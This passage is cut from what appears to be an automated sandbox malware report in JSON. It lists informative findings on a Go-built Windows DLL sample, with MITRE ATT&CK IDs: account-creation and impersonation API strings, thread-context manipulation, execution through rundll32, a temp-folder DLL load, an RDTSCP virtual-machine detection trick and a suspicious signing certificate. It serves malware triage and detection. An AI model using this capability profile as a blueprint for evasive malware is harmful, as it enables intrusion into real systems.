contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"tlGetVersion\" (Indicator: \"GetVersion\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"file/memory contains long string with (Indicator: \"CreateFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"NtOpenFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"NtCreateFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 48179-8957-00000001E5DE4018","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"GetLastError\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$32","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Executes a DLL using Rundll32 process","description":"$33","origin":"Monitored Target","mitre_attack_id":"T1218.011","relevance":1,"id":"target-400","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"rundll32.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"rundll32.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"rundll32.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 7fef9100000\n \"rundll32.exe\" loaded module \"KERNEL32\" at base 77670000\n \"rundll32.exe\" loaded module \"NTDLL.DLL\" at base 77890000\n \"rundll32.exe\" loaded module \"WINMM.DLL\" at base 7fef8380000\n \"rundll32.exe\" loaded module \"%WINDIR%\\SYSTEM32\\UXTHEME.DLL\" at base 7fefbb30000\n \"rundll32.exe\" loaded module \"BCRYPTPRIMITIVES.DLL\" at base 7fefc9b0000\n \"rundll32.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE64.DLL\" at base 7fef4a20000\n \"rundll32.exe\" loaded module \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL\" at base 7feefb70000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"rundll32.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at FC9B0000\n \"rundll32.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at FCEC0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"rundll32.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FDE30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" was detected as \"MinGW\" and name: \"Compiler\"\n \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an writable section named \".data\"\n \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an writable section named \".bss\"\n \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an writable section named \".idata\"\n \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an writable section named \".CRT\"\n \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has an writable section named \".tls\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" file has an entrypoint instructions - \"mov\trax, qword ptr [rip + 0x32e439],mov\tdword ptr [rax], 0,jmp\t0x1e5ce1200,nop\tword ptr cs:[rax + rax],nop\tdword ptr [rax],mov\trdx, rcx,lea\trcx, [rip + 0x336c86],jmp\t0x1e5dea1e0,nop\t,lea\trcx, [rip + 9],jmp\t0x1e5ce1370,nop\tdword ptr [rax],ret\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,jmp\tqword ptr [rax],outsd\tdx, dword ptr [rsi],and\tbyte ptr [rdx + 0x75], ah,imul\tebp, dword ptr [rsp + riz*2 + 0x20], 0x203a4449,and\tal, byte ptr [rbp + 0x4b],\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x109800\" greater than 0x100000\n Raw size of \".rdata\" is \"0x20fe00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x1096a0\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x20fc80\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\" has high imagebase \"0x1e5ce0000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"EKk5op7rSxbHpu4dqSt6/mddJhr_YTBRlSXAD3B4B/lePjd__GiSX57C-8WJuA/LeqDGpvUCp-1kZfp0M1n\"\" (Indicator: \"Go build ID: \"EKk5op7rSxbHpu4dqSt6/mddJhr_YTBRlSXAD3B4B/lePjd__GiSX57C-8WJuA/LeqDGpvUCp-1kZfp0M1n\")\" in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, \"Go build ID: \"EKk5op7rSxbHpu4dqSt6/mddJhr_YTBRlSXAD3B4B/lePjd__GiSX57C-8WJuA/LeqDGpvUCp-1kZfp0M1n\"\" (Indicator: \"Go build ID: \"EKk5op7rSxbHpu4dqSt6/mddJhr_YTBRlSXAD3B4B/lePjd__GiSX57C-8WJuA/LeqDGpvUCp-1kZfp0M1n\")\" in Source: 00000000-00000588.00000000.268413.EFB71000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\rundll32.exe\" [Source: 00000000-00003456-00000C65-3157184410]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"rundll32.exe\" (UID: 00000000-00004076) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"rundll32.exe\" (UID: 00000000-00004076) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"rundll32.exe\" (UID: 00000000-00000588) was launched with new environment variables: \"USERDNSDOMAIN=\"%OSUSER%-PC\"\"\n Process \"rundll32.exe\" (UID: 00000000-00000588) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"rundll32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"rundll32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00004076-00000C2A-3158328016]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$35","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$36","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 473993)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=linguee.pt, O=uEurQMRDp, L=yckgut, ST=DFPRAjl, C=US\" (SHA1: 28:23:EB:8F:18:C0:92:99:08:A8:88:63:DF:0B:98:16:7E:1B:7E:50; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API 